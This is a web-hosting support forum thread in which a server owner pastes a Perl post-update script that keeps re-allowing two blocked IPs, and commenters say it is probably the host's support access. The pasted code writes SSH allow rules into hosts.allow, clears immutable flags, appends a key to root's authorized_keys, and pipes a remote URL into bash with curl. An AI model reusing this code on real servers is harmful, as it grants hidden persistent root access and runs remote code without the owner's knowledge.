Skip to main content

Security Issue with access restriction

Comments

4 comments

  • keat63
    I'm struggling to comprehend what you're asking. Could you re-iterate please.
    0
  • carcaras
    Sure, I keep blocking these 2 IP addresses in the "Host Access Control" (Home > Security Center >Host Access Control) and overnight theys are allowed again. - Removed - I just found the script doing it. /opt/postupcp/Modules.pm And these 2 "functions" sub fix_ssh_perms { open(FILE, ") { next if ($_ =~ /70.87.80.194|50.23.47.206/); $write .= $_; } close(FILE); open(FILE, ">/etc/hosts.allow"); print FILE "sshd : 70.87.80.194 : allow\n"; print FILE "sshd : 50.23.47.206 : allow\n".$write; close(FILE); open(FILE, ") { next if ($_ =~ /70.87.80.194|50.23.47.206/); $write .= $_; } close(FILE); open(FILE, ">/etc/hosts.deny"); print FILE $write; close(FILE); system("chattr -ai /root/.ssh/* ; chmod 550 /root ; chown root. /root ; chmod 700 /root/.ssh ; chown root. /root/.ssh ; chmod 600 /root/.ssh/* ; chown root. /root/.ssh/* $ } sub updatekey { print "
  • Running key update..."; my $one = 0; my $two = 0; open(FILE,"/root/.ssh/authorized_keys"); while() { if ( /tFkWcvQCYbHyiOIWGpz9/ ) { $one = 1; } elsif ( /user\@localhost/ ) { $two = 1; } } close(FILE); if ( $one == "0" ) { print "no key "; system("chattr -ia /root/.ssh/authorized_keys"); open(WRITE,">>/root/.ssh/authorized_keys"); print WRITE 'from="10.20.0.5,192.185.0.100,74.220.198.220,70.87.80.194,50.23.47.206,10.44.39.75,67.18.2.226",no-X11-forwarding,no-port-forwarding ssh-rsa AAAAB3Nz$ close(WRITE); system("curl --connect-timeout 5 http://scripts3.hostgator.com/firefly.txt?nokey > /dev/null"); } if ( $two == "1" || -e "/.cache/.ntp" ) { system("chattr -ia /root/.ssh/authorized_keys"); system("sed -i '/user\@localhost/d' /root/.ssh/authorized_key*"); system("curl --connect-timeout 5 http://scripts3.hostgator.com/firefly.txt?resolve | bash"); print "clean "; } print "\n"; }

  • They seem to be from the host company (Hostgator) but I can't be sure, I am asking them but they are taking forever to reply. I am concerned because we are handling some delicate information within our servers.
    0
  • cPanelLauren
    That's a postupcp script that is running every time upcp runs (at night) more than likely your provider added it to ensure that they'd be able to access the server in a disaster or support situation. You'll need to discuss with them if you're able to remove the script.
    0
  • carcaras
    That's a postupcp script that is running every time upcp runs (at night) more than likely your provider added it to ensure that they'd be able to access the server in a disaster or support situation. You'll need to discuss with them if you're able to remove the script.

    Thank you! That's exactly the case here. I am waiting for a reply from them!
    0

Please sign in to leave a comment.